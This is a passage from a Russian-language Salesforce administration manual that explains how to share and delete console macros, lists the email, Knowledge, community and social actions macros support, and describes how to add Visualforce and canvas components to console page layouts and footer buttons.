6. Чтобы предоставить общий доступ к макросу, выберите группу или пользователя из списка «Доступно» и нажмите
кнопку«Добавить». Чтобыотменитьобщийдоступкмакросу, выберите группуилипользователяизсписка«Общий
доступ с» и нажмите кнопку «Удалить».

7. При предоставлении общего доступа к макросу задайте параметру «Уровень доступа» значение «Только для чтения»
или «Для чтения и записи».

• Значение «Только для чтения» позволяет агентам службы поддержки просматривать и выполнять макрос.

• Значение «Для чтения и записи» позволяет агентам службы поддержки просматривать, редактировать и выполнять
макрос.

8. Нажмите кнопку «Сохранить».

Удаление макросов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Система позволяет удалять ненужные макросы.

Необходимые полномочия пользователя

«Чтение» для макросовДля просмотра макросов:

«Удаление» для макросовДля удаления макросов:

Администраторыиагентыслужбыподдержкимогутудалятьмакросытолькоприналичии
соответствующих полномочий пользователя.

1. Чтобы открыть виджет «Макросы», щелкните «Макросы» или нажмите клавишу
«М»наначальнойстраницеконсоли Salesforce. Принеобходимостивоспользуйтесь
вкладкой «Макросы».

2. Щелкните нужный макрос.
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3. При использовании виджета «Макросы» щелкните значок «Просмотр сведений» ( ). (Данное действие является
необязательным при использовании вкладки «Макросы».)

4. Нажмите кнопку «Удалить».

5. Нажмите кнопку «ОК» в окне подтверждения.

Публикаторы и действия, поддерживаемые в макросах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Вконсоли Salesforce for Service для созданиямакросовдоступныследующиепубликаторы
и действия.

Действия публикатора «Эл. почта», поддерживаемые макросами
Данные действия доступны при выборе «Выбрать: действие "Эл. почта"» в
макроинструкциях. Действия «Эл. почта» позволяют изменять текст сообщений эл.
почты в ленте обращений. При необходимости создайте и выполните макросы для
выполнения данных действий в публикаторе «Эл. почта» на консоли Salesforce for
Service.

Действия Salesforce Knowledge, поддерживаемые в макросах
Этидействиястановятсядоступнымипосленажатиянакнопку«Выбратькомпонент
боковойпанелибазызнаний»вкомандахмакроса. Действиябазызнанийпозволяют
находить статьии добавлять их в обращения. Можно создать и выполнитьмакрос для осуществления таких действий
в публикаторе Salesforce Knowledge в консоли Salesforce for Service.

Настраиваемые быстрые действия, поддерживаемые в макросах
Этидействия становятся доступнымипосленажатияна кнопку «Выбрать имя быстрого действия» в командахмакроса.
Можносоздатьи выполнитьмакрос для выполнениянастраиваемыхбыстрыхдействийв консоли Salesforce for Service.

Действия публикатора в сообществе, поддерживаемые в макросах
Эти действия становятся доступными после нажатия на кнопку «Выбрать действие "Сообщество"» в командах
макроса. Действия «Сообщество» позволяют обновлять информацию и писать сообщения в сообществах Salesforce.
Можносоздатьивыполнитьмакросдляосуществлениятакихдействийвпубликаторев сообществав консоли Salesforce
for Service.

Социальные действия, поддерживаемые в макросах
Этидействия становятсядоступнымипосленажатияна кнопку «Выбратьсоциальноедействие» в командахмакроса.
Можно создать и выполнить макрос для выполнения таких действий в социальном публикаторе в консоли Salesforce
for Service.
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Действия публикатора «Эл. почта», поддерживаемые макросами

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Данные действия доступны при выборе «Выбрать: действие "Эл. почта"» в
макроинструкциях. Действия «Эл. почта» позволяют изменять текст сообщений эл.
почты в ленте обращений. При необходимости создайте и выполните макросы для
выполненияданныхдействийвпубликаторе «Эл. почта» на консоли Salesforce for Service.

Прежде чем использовать данные действия, включите публикатор «Эл. почта» в
организации и добавьте его как компонент консоли в макет страницы обращений.

Пакетные макросы поддерживаются для действий публикатора «Эл. почта».

Табл. 48: Действия публикатора «Эл. почта», поддерживаемые макросами

Поддержка
пакетными
макросами

ОписаниеДействие

ДаДанное действие удаляет адреса эл. почты в поле «Адрес
получателя» и заменяетихна указанные адреса эл. почты.

Заменить:
адреса
получателей При вводе нескольких адресов эл. почты рекомендуем

использовать запятые.

НетДанное действие добавляет данные адреса эл. почты в
поле «Кому», нонеудаляет текущиеадреса вполе «Кому».

Добавить в:
адреса
получателей При вводе нескольких адресов эл. почты рекомендуем

использовать запятые.

ДаДанное действие удаляет адреса эл. почты в поле «Адрес
в поле "Копия"» и заменяет их на указанные адреса эл.

Заменить:
адресавполе
«Копия» почты. При вводе нескольких адресов эл. почты

рекомендуем использовать запятые.

НетДанное действие добавляет данные адреса эл. почты в
поле «Копия», но не удаляет текущие адреса в поле

Добавить в:
адресавполе
«Копия» «Копия». При вводе нескольких адресов эл. почты

рекомендуем использовать запятые.

ДаДанное действие удаляет адреса эл. почты в поле «Адрес
вполе "СК"» и заменяетихна указанные адреса эл. почты.

Заменить:
адресавполе
«СК» При вводе нескольких адресов эл. почты рекомендуем

использовать запятые.

НетДанное действие добавляет данные адреса эл. почты в
поле «СК», ноне удаляет текущиеадреса вполе «СК». При

Добавить в:
адресавполе
«СК» вводе нескольких адресов эл. почты рекомендуем

использовать запятые.

ДаДанное действие удаляет адрес эл. почты в поле «Адрес
отправителя» изаменяетегонауказанныйадрес эл. почты.

Задать: адрес
отправителя

ДаДанное действие удаляет значение в поле «Тема» и
заменяет его на указанный текст.

Заменить:
тема
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Поддержка
пакетными
макросами

ОписаниеДействие

НетДанное действие добавляет данный текст в конец значения в поле «Тема», но
не удаляет текущий текст в поле «Тема».

Добавить в: тема

ДаДанноедействие удаляет содержимоеиз текста сообщения эл. почтыизаменяет
его на указанное HTML-содержимое.

Заменить: текст
HTML

НетДанное действие добавляет QuickText или Text в основной HTML-текст, но не
удаляет текущий текст. QuickText или Text вставляется по месту отображения
курсора.

Вставить в: текст
HTML

ДаДанноедействие вставляет указанныйшаблонэл. почтыв сообщение эл. почты
на активной вкладке «Обращение».

Применить:
шаблон эл. почты

ДаДанное действие уведомляет макрос о необходимости выполнения данных
инструкций при выполнении данного макроса.

Отправить:
действие

Макрос, содержащийинструкцию «Отправить: действие», являетсянеобратимым.
Пользователимогутсоздавать, редактироватьивыполнятьмакросы, содержащие
инструкции для выполнения необратимых действий, только при наличии
полномочия «Управление макросами, которые не могут быть отменены
пользователями».

Макрос, содержащий инструкцию «Отправить: действие», может выполняться
как пакетный. Пользователи могут выполнять пакетные макросы только при
наличии полномочия «Выполнение макросов для нескольких записей».

Действия Salesforce Knowledge, поддерживаемые в макросах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Эти действия становятся доступными после нажатия на кнопку «Выбрать компонент
боковойпанели базы знаний» в командах макроса. Действия базы знаний позволяют
находить статьи и добавлять их в обращения. Можно создать и выполнить макрос для
осуществления таких действий в публикаторе Salesforce Knowledge в консоли Salesforce
for Service.

Чтобы использовать эти действия, необходимо включить Salesforce Knowledge в
организации и добавить в качестве компонента консоли. В консоли должны быть
включены такие действия Salesforce Knowledge, как добавление статьи в обращение.

Прим.: Боковаяпанельбазы знанийдолжнабытьразвернута во время выполнения
макроса, затрагивающего базу знаний. Если боковая панель свернута, макрос не
работает.

Internet Explorer 7 и пакетные макросы не поддерживаются в действиях Salesforce Knowledge.
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Табл. 49: Действия Salesforce Knowledge, поддерживаемые в макросах

Поддерживается
ли в пакетных
макросах?

ОписаниеДействие

НетУведомляет макрос о том, что эти команды воздействуют на боковую панель
базы знаний в консоли.

Выбрать
компонент
боковой панели
базы знаний

НетУведомляет макрос о том, что команды влияют на поиск в базе знаний.Выбрать поиск
статьи

НетУказать ключевые слова, используемые при поиске в базе знаний. Ниже
перечислены доступные для поиска элементы.

Установить
ключевые слова

• Номер статьи. Номер статьи извлекает статью по номеру, позволяя быстро
выбирать конкретную статью. Номер статьи использует следующий
синтаксис: номерстатьи:123456789.

• Ключевыеслова. Ключевыесловаможноиспользоватьдляпоиска. Функция
поиска в Salesforce Knowledge выполняет поиск данных ключевых слов в
заголовке и тексте статей базы знаний. Например, фраза «Сброс пароля»
возвращает статьи, содержащие эту фразу.

НетМакрос выполнит поиск в базе знаний с использованием указанных в команде
«Установить ключевые слова» критериев.

Выполнить поиск

НетВыбрать первую статью из списка результатов поиска.Выбратьнаиболее
подходящую
статью

НетПрисоединить статью к обращению.Вложить в
обращение

НетПрисоединить статью в формате PDF к сообщению электронной почты в
обращении.

Вложить в
сообщение эл.
почты как PDF

НетВставить текст статьии ссылки в сообщение электроннойпочты вобращении.Вставить в
сообщение эл.
почты как HTML
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Настраиваемые быстрые действия, поддерживаемые в макросах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Эти действия становятся доступными после нажатия на кнопку «Выбрать имя быстрого
действия» в командах макроса. Можно создать и выполнить макрос для выполнения
настраиваемых быстрых действий в консоли Salesforce for Service.

Дляиспользованиятакихдействийнеобходимосоздатьворганизациибыстрыедействия
и добавить в макет страницы ленты обращений.

Пакетные макросы не поддерживаются для быстрых социальных действий.

Табл. 50: Настраиваемые быстрые действия, поддерживаемые в макросах

Поддерживается
ли в

пакетных
макросах?

ОписаниеДействие

ДаОчистить содержимое текстового поля и заменить
указанным текстом.

Заменить
<текстовое
поле>

НетДобавить указанный текст в конец текстового поля без
удаления существующего текста. Текст вставляется в
положение курсора.

Добавить в
<текстовое
поле>

ДаУведомляет макрос о необходимости выполнения
указанных команд при запуске данного макроса.

Отправить
действие

Макрос, содержащий команду «Отправить действие»,
необратим. Пользователимогут создавать, редактировать
и выполнять макросы, содержащие команды для
выполнениянеобратимыхдействий, толькоприналичии
полномочия «Управление макросами, которые не могут
быть отменены пользователями».

Макрос с командой «Отправить действие» можно
использовать в пакетных макросах. Для выполнения
пакетных макросов нужно полномочие «Выполнение
макроса для нескольких записей».
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Действия публикатора в сообществе, поддерживаемые в макросах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Эти действия становятся доступными после нажатия на кнопку «Выбрать действие
"Сообщество"» в командах макроса. Действия «Сообщество» позволяют обновлять
информациюиписать сообщенияв сообществах Salesforce. Можносоздатьивыполнить
макросдляосуществлениятакихдействийвпубликаторевсообществавконсоли Salesforce
for Service.

Для использования этих действий необходимо включить в организациифункцию
«Публикаторвсообщества» идобавитьвкачествекомпонентаконсолинамакетстраницы
обращения.

Пакетные макросы в действиях публикатора в сообщества не поддерживаются.

Табл. 51: Действия публикатора в сообществе, поддерживаемые в макросах

Поддерживается
ли в

пакетных
макросах?

ОписаниеДействие

НетОчистить содержимоесообщенияизаменитьуказанным
текстом.

Заменить
текст

НетДобавить запись QuickText или текст в сообщение для
сообщества, не удаляя существующий текст. Запись
QuickText или текст вставляется в положение курсора.

Вставить в
текст

НетУведомляет макрос о необходимости выполнения
указанных команд при запуске данного макроса.

Отправить
действие

Макрос, содержащий команду «Отправить действие»,
необратим. Пользователи могут создавать, изменять и
выполнять макросы, содержащие команды для
выполнениянеобратимыхдействий, толькоприналичии
полномочия «Управление макросами, которые не могут
быть отменены пользователями».

Социальные действия, поддерживаемые в макросах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Эти действия становятся доступными после нажатия на кнопку «Выбрать социальное
действие» в командах макроса. Можно создать и выполнить макрос для выполнения
таких действий в социальном публикаторе в консоли Salesforce for Service.

Для использования этих действий необходимо включить в организациифункцию
«Социальное действие» и добавить в качестве компонента консоли на макет страницы
обращения.

Пакетные макросы в социальных действиях не поддерживаются.
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Табл. 52: Социальные действия, поддерживаемые в макросах

Поддерживается
ли в пакетных
макросах?

ОписаниеДействие

НетОчистить содержимое текстового поля и заменить указанным текстом.Заменить
содержимое

НетДобавить указанныйтекст в текстовоеполебез удалениясуществующеготекста.
Запись QuickText или текст вставляется в положение курсора.

Вставить в
содержимое

НетМакрос будет использовать выбранный тип сообщения.Установить тип
сообщения

Типы сообщений в Facebook следующие.

• Сообщение

• Комментарий

• Личное

Типы сообщений в Twitter следующие.

• Твит

• Ретвит

• Ответ

• Личное

НетУведомляетмакросонеобходимостивыполненияуказанныхкомандпризапуске
данного макроса.

Отправить
действие

Макрос, содержащийкоманду «Отправитьдействие», необратим. Пользователи
могут создавать, редактировать и выполнять макросы, содержащие команды
для выполнения необратимых действий, только при наличии полномочия
«Управление макросами, которые не могут быть отменены пользователями».
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Включение базы знаний на консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения боковой
панели базы знаний:
• «Настройка

приложения»

При использовании базы знаний Salesforce можно включить боковую панель базы
знаний, чтобы пользователи, работающие с обращениями, могли автоматически
просматривать соответствующие статьи из базы знаний, которые помогут быстрее
закрыть обращения.

Важное замечание: Прежде чем добавлять базу знаний Salesforce в консоль, ее
нужнонастроить. Статьибазыданныхотображаютсянаосновелюбыхсовпадений
в поле обращения «Тема».

1. Откройте страницу «Макеты страниц» посредством параметров управления
обращениями.

2. Щелкните ссылку «Правка» напротив нужного макета страницы.

3. Щелкните «Свойства макета».

4. Установите флажок «Боковая панель базы знаний» и нажмите кнопку «OK».

5. Нажмите кнопку «Сохранить».

Повторите указанные выше действия для каждого макета страниц обращений,
назначенного пользователям консоли.

СМ. ТАКЖЕ:

Настраиваемые функции консоли Salesforce

Консоль Salesforce

Поиск по параметрам управления объектами
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Настройка консоли Salesforce

Компоненты консоли

ВЕРСИИ

Консоль Salesforce
доступна в Salesforce
Classic и в средстве запуска
приложений Lightning
Experience. Настройки для
консоли Salesforce см. в
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Создание компонентов для настройки, расширения или интеграции консоли Salesforce
в другие системы.

Компонентыпозволяютотображатьразличныеданныевнижнемколонтитуле, боковых
панелях, панелях основных показателей и журналах взаимодействия консоли. Также
можно создавать компоненты для решения большого количества бизнес-проблем и
отображения следующих типов элементов.

• Сторонние приложения

• Виджет «Чат» или «Программный телефон»

• Содержимое при просмотре определенных страниц

• Контекстные сведения напротив записей

• Настраиваемые панели основных показателей или журналы взаимодействия

• Содержимое при нажатии настраиваемой кнопки в нижнем колонтитуле

Компонентыпозволяютпроявлятьизобретательность спомощьюконсолии создавать
необходимые элементы для работы пользователей. Компоненты могут создаваться
посредством Visualforce, приложений холста, полей поиска, связанных списков или
диаграммотчетов. ТакжедлясозданиякомпонентоврекомендуемиспользоватьForce.com
Canvasилисредствоинтеграцииконсоли Salesforce. Обетехнологиипредставляютсобой
интерфейсы JavaScript API, позволяющие разработчикам расширять и интегрировать
консоль. Инструментарий предоставляет программный доступ к консоли для таких
действий, какоткрытиеи закрытиевкладок, чтобырационализироватьбизнес-процессы,
тогда как холст помогает интегрировать консоль во внешние приложения, требующие
способовпроверкиподлинности. Дополнительнуюинформациюоприложенияххолста
и инструментарии см. в Руководстве разработчикаForce.com Canvas и Руководстве
разработчикасредства интеграции консоли Salesforce (только на английском языке).

СМ. ТАКЖЕ:

Процесс создания компонентов консоли

Советы по внедрению компонентов консоли
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Процесс создания компонентов консоли

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Обычно разработчики и администраторы при создании компонентов для консоли
Salesforce выполняют следующие действия.

Даже процесс создания большого количества компонентов консоли для решения
различных бизнес-проблем главным образом состоит из этих этапов.

1. Разработчики создают страницу Visualforce или приложение холста.

2. Администраторы добавляют страницу Visualforce или приложение холста в...

• макеты страниц для отображения содержимого на определенных страницах;

• приложенияконсолидляотображениясодержимогонавсехстраницахивкладках.

3. Администраторы, добавившие компонент в макеты страниц,...

• выбирают боковую панель, отображающую консоль (например, правая, левая,
верхняя или нижняя);

• определяютнеобходимостьдобавленияразныхкомпонентовнабоковуюпанель
и порядок их отображения (например, вкладки или гармошка).

4. Администраторы, добавившие компонент в приложения,...

• определяют внешний вид кнопки, используемой для доступа к компоненту из
нижнего колонтитула консоли;

• назначают компонент каждой консоли, где он должен быть доступен
пользователям.

5. Пользователипросматриваюткомпонентприоткрытиимакетовстраницилинажатии
кнопки в нижнем колонтитуле консоли.

Совет: Поле поиска или связанный список может быть добавлен в качестве
компонентабез созданиястраницыVisualforceилиприложенияхолста. Выполните
действия, описанные в разделе «Добавление компонентов консоли в макеты
страниц», и заполните поле «Тип» значением «Поиск» или «Связанный список»
для выбора конкретного поля или списка.

СМ. ТАКЖЕ:

Компоненты консоли

Советы по внедрению компонентов консоли

Добавление компонентов консоли в макеты страниц

Добавление компонентов консоли в приложения
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Советы по внедрению компонентов консоли

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Прежде чем приступить к созданию компонента консоли Salesforce, ознакомьтесь с
советами, приведенными ниже.

Советы по алгоритмам и доступу
Компоненты приложения холста не могут быть добавлены в пакеты AppExchange.

При обновлении записей или основных и вложенных вкладок компоненты не
обновляются автократически.

Чтобы просмотреть изменения высоты или ширины компонента консоли,
рекомендуем обновить обозреватель.

Компоненты типа «Диаграмма отчета» недоступны разработчикам, использующим
интерфейс Metadata API от компании Salesforceили выполняющиммиграциюмежду
экземплярами безопасных и производственных сред.

Советы по работе с макетами страниц
Добавление компонентов в макеты страниц доступно только при наличии
полномочия «Пользователь Sales Cloud» или лицензии «Пользователь Service Cloud».

После отключения панели основных показателей или журнала взаимодействия на
макете страницы можно будет добавлять компоненты на верхнюю или нижнюю
панель основных вкладок.

Чтобы разрешить отображение компонента на всех вложенных вкладках основной
вкладки, рекомендуем добавить компонент в раздел макетов страниц «Компоненты
основнойвкладки». Компонент, добавленныйвразделмакетовстраниц «Компоненты
вложенной вкладки», отображается только на отдельных вложенных вкладках.

Если База данных Salesforce активирована, а Боковая панель базы знаний включена,
не рекомендуется добавлять компоненты на правую панель макетов страницы
обращений. В противном случае боковая панель базы знаний будет отображаться поверх компонентов.

Советы по работе с Visualforce
Каждый макет страницы позволяет использовать страницу Visualforce в качестве компонента только один раз.

Страницы Visualforce, назначенные макетам страниц в качестве компонентов, не могут быть удалены.

Страницы Visualforce не обновляются нажатием на и выбором параметра «Обновить все основные вкладки»
или «Обновить все вложенные вкладки».

Включение защиты от кликджекинга для страниц Visualforce в параметрах безопасности организации препятствует
корректному отображению страниц Visualforce.

Вотличиеот других страницVisualforce, объектам, макетыстраницкоторыхнастраиваютсяпользователем, недолжны
задаваться стандартные контроллеры для компонентов.

Придобавленииэлемента showHeader=true на страницуVisualforceпользовательможет добавитьпробелдлиной
15 пикселовсобеихсторонкомпонентадлявизуальногоотображенияегорасположениянабоковойпанели. Например,
<apex:page standardController="Contact" showHeader="false" title="Список обращений">.

Если страницы Visualforce используются в качестве компонентов, автоматически настраиваются два параметра
URL-адреса:
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ОписаниеЗначение параметраИмя параметра

Код страницы сведений,
отображающей компонент.

Данный параметр передается только
при наличии кода.

Строка, состоящая из 15
чувствительныхкрегиструсимволов,
которая является уникальным
идентификатором записи.

id

Данный параметр определяет
страницу Visualforce, отображаемую в

trueinContextPane

качестве компонента на консоли
Salesforce.

СМ. ТАКЖЕ:

Компоненты консоли
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Добавление компонентов консоли в макеты страниц

ВЕРСИИ

Консоль Salesforce
доступна в Salesforce
Classic и в средстве запуска
приложений Lightning
Experience. Настройки для
консоли Salesforce см. в
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления
настраиваемых компонентов
консоли:
• «Настройка

приложения»

Для создания страниц
Visualforce:
• «Настройка

приложения»

Для управления
приложениями холста:
• «Настройка

приложения»

Созданный компонент консоли может быть добавлен в макеты страниц, чтобы
предоставитьпользователямдоступк компонентунабоковойпанеликонсоли Salesforce.

1. В настройках управления объектом, шаблон страницы которого необходимо
отредактировать, перейдите к списку «Макеты страниц».

2. Щелкните ссылку «Правка» напротив нужного макета страницы.

3. Щелкните «Настраиваемые компоненты консоли».

4. Выберите способотображенияисистематизациикомпонентовпосредствомссылки
«Стиль» напротив нужной боковой панели. См. раздел «Стили боковой панели для
компонентов консоли».

5. Чтобы задать размер боковой панели на консоли, выберите нужную высоту или
ширину и введите символ процента или количество пикселов. Если высота или
ширина боковой панели не превышает указанное ниже количество пикселов, то
данные типы компонентов подлежат автоматическому скрытию по причине
невозможности их прочтения.

• Knowledge One (250)

• Поиски (150)

• Связанные списки (200)

• Диаграммы отчетов (150)

6. Выберите тип компонента («Страница Visualforce», «Приложение холста», «Поиск»,
«Связанный список» или «Диаграмма отчета») в поле «Тип». Прежде чем выбрать
тип «Диаграмма отчета», рекомендуем добавить его в макет страницы и убедиться,
что он хранится в папке, которая доступна соответствующим пользователям.

• Если организация использует вкладку «База знаний», дополните страницы
обращенийкомпонентом «Knowledge One», поддерживающимпоискиобработку
статей.

• Еслиорганизацияиспользуетфункциюуправленияправами, дополнитестраницы
обращений компонентом «Средство отслеживания контрольных точек»,
поддерживающим отображение новейших данных о связанных контрольных
точках.

• Если организация использует темы для объектов, добавьте компонент «Темы»,
поддерживающий просмотр, добавление и удаление тем для обрабатываемых
записей.

• Дополнитестраницыобращенийкомпонентом «Файлы», позволяющимагентам
службыподдержкипутемперетаскиваниябыстродобавлятьфайлывобращения,
просматривать вложенныефайлыидобавлять вложенныефайлыв электронные
обращения.

• Еслиорганизацияиспользует список «Знатоки» и темыдляобъектов, дополните
макеты страниц обращений компонентом «Эксперты по обращениям»,
позволяющим агентам службы поддержки сотрудничать со своими коллегами,
которые являются экспертами в отдельных областях.
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Прим.: В настоящее время доступна только пробная версия компонента «Эксперты по обращениям».
Дополнительнуюинформациюовключенииданногокомпонентаворганизацииможнополучитьвкомпании
Salesforce.

Макетыстраницограничиваютсядвумядиаграммамиотчетов, поэтомубоковаяпанельможетбытьдополнена только
двумя диаграммами отчетов. Система позволяет добавлять не более пяти компонентов на боковую панель и восьми
компонентов в макет страницы. Добавленные компоненты приложения холста не могут быть добавлены в пакеты
AppExchange.

7. Чтобы найти и выбрать компонент для страниц Visualforce или приложений холста, щелкните значок напротив
поля «Компонент». Если компонентом является поле поиска, связанный списокили диаграмма отчета, выберите имя
поля, списка или диаграммы. При необходимости добавьте поля в компоненты поиска путем определения макетов
мини-страницобъектов. Чтобыизбежатьотображенияповторяющейсяинформации, рекомендуемскрытьдиаграммы
отчетов и связанные списки на страницах, отображающих их в качестве компонентов. Чтобы изменить порядок
отображения связанныхсписков, воспользуйтесьмакетамистраниц. Обратите внимание, что компонентысвязанного
списка не отображают настраиваемые кнопки.

8. Введите имя компонента, которое должно отображаться пользователям консолина боковойпанели, в поле «Метка».
При отсутствии метки, введенной для диаграммы отчета, используется имя диаграммы отчета.

9. Чтобызадатьразмеркомпонентанабоковойпанели, выберитенужнуювысотуилиширинуивведитесимволпроцента
или количество пикселов. При отсутствии высоты илиширины размеры компонента определяются автоматически
для корректного отображения на консоли.

Параметр «Автоматическое изменение размера компонентов» поддерживается компонентами со стилем «Стек».
Данный параметр выбирается по умолчанию, поэтому при изменении размера обозревателя компоненты со стилем
«Стек» принимают размер боковой панели. Система Salesforce определяет минимальную высоту и ширину для
компонентовсостилем «Стек»; данныезначениянемогутбытьизменены. Автоматическаянастройканеподдерживается
страницами Visualforce, приложениями холста, компонентом Knowledge One и обозревателем Internet Explorer® 7.

10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Стили боковой панели для компонентов консоли

Добавление диаграммы отчета в макет страницы

Поиск по параметрам управления объектами

4290

Добавление компонентов консоли в макеты страницОптимизация приложений Sales и Service посредством
консоли Salesforce



Добавление быстрых действий на боковую панель консоли

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
действийимакетов страниц,
а также добавления
настраиваемых компонентов
консоли:
• «Настройка

приложения»

Добавьте настраиваемые быстрые действия на боковую панель консоли для
предоставленияагентамслужбыподдержкивозможностибыстрогосоздания, обновления
и поиска записей, связанных с обращениями. Быстрые действия добавляются как
компоненты консоли.

Быстрые действия могут быть добавлены в макеты страниц обращений на консоли
только после их создания.

1. Введите строку «Макеты страниц» в поле «Быстрый поиск» меню «Настройка» и
выберите пункт «Макеты страниц».

2. Выберите нужный макет страницы.

3. Щелкните «Настраиваемые компоненты консоли».

4. Прокрутитестраницудонужногоразделабоковойпанели. Например, чтобыдобавить
компонент на левую боковую панель, воспользуйтесь разделом «Левая боковая
панель».

5. Настройте компонент.

• «Поле»: выберите поле записи, на которое влияет быстрое действие. Например,
при использовании быстрого действия, создающего запись контакта, выберите
поле «Контакт».

• «Включить связывание»: установитеданныйфлажокдляпредоставленияагентам
службы поддержки возможности связывания данной записи с обращением. Например, агент службы поддержки
может создавать контакт и связывать его с обращением.

• «Действие создания»: выберитебыстроедействие «Создать». Данноебыстроедействиепозволяет агентамслужбы
поддержки создавать запись.

• «Действие обновления»: выберите быстрое действие «Обновить». Данное быстрое действие позволяет агентам
службы поддержки обновлять запись.

6. При необходимости добавьте дополнительные компоненты.

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Компоненты консоли

Добавление компонентов консоли в макеты страниц
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Стили боковой панели для компонентов консоли

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

При добавлении администратором компонентов в макет страницы можно выбирать
стиль боковой панели, в которой будут отображаться компоненты консоли Salesforce.

Для компонентов консоли на макете страницы доступны следующие стили боковой
панели.

ОписаниеТип
мультикомпонента

Область содержимого с несколькими рамками.Стек

Одна область содержимого со списком нескольких панелей.Вкладки

Свертываемая область содержимого.Гармошка

Данный стиль доступен только вертикальным боковым
панелям.

СМ. ТАКЖЕ:

Добавление компонентов консоли в макеты страниц
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Добавление компонентов консоли в приложения

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления
настраиваемых компонентов
консоли:
• «Настройка

приложения»

Для создания страниц
Visualforce:
• «Настройка

приложения»

Для управления
приложениями холста:
• «Настройка

приложения»

Созданныйкомпонентконсолиможетбытьдобавленввидекнопкивнижнийколонтитул
консоли Salesforce для предоставления доступа пользователям.

1. Введите строку «Настраиваемые компоненты консоли» в поле «Быстрый поиск» в
меню «Настройка» и выберите пункт «Настраиваемые компоненты консоли».

2. Нажмите кнопку «Создать».

3. Введите имя компонента.

4. Введитеметку кнопки, используемойдля запуска компонента, вполе «Имя кнопки».
Например, Live Chat.

5. Укажите встроенный стиль, используемый для определения внешнего вида кнопки,
в поле «CSS кнопки». Поддерживаемыми стилями являютсяшрифт, цветшрифта
и цвет фона. Шрифт и цвет шрифта не поддерживаются обозревателем Internet
Explorer® 7.

6. Укажите ширину кнопки для отображения на консоли.

7. Заполните поле «Компонент» значением «Страница Visualforce» или
«Приложение холста», либовведитеимянужногокомпонентаилищелкните значок

.

8. Укажите высоту и ширину окна, используемого для отображения компонента на
консоли.

9. Чтобылишитьпользователейвозможностиизмененияразмеровокна, используемого
для отображения компонента, щелкните «Фиксированная ширина» или
«Фиксированная высота».

10. Нажмите кнопку «Сохранить».

Перед предоставлением доступа пользователям к этому компоненту его необходимо
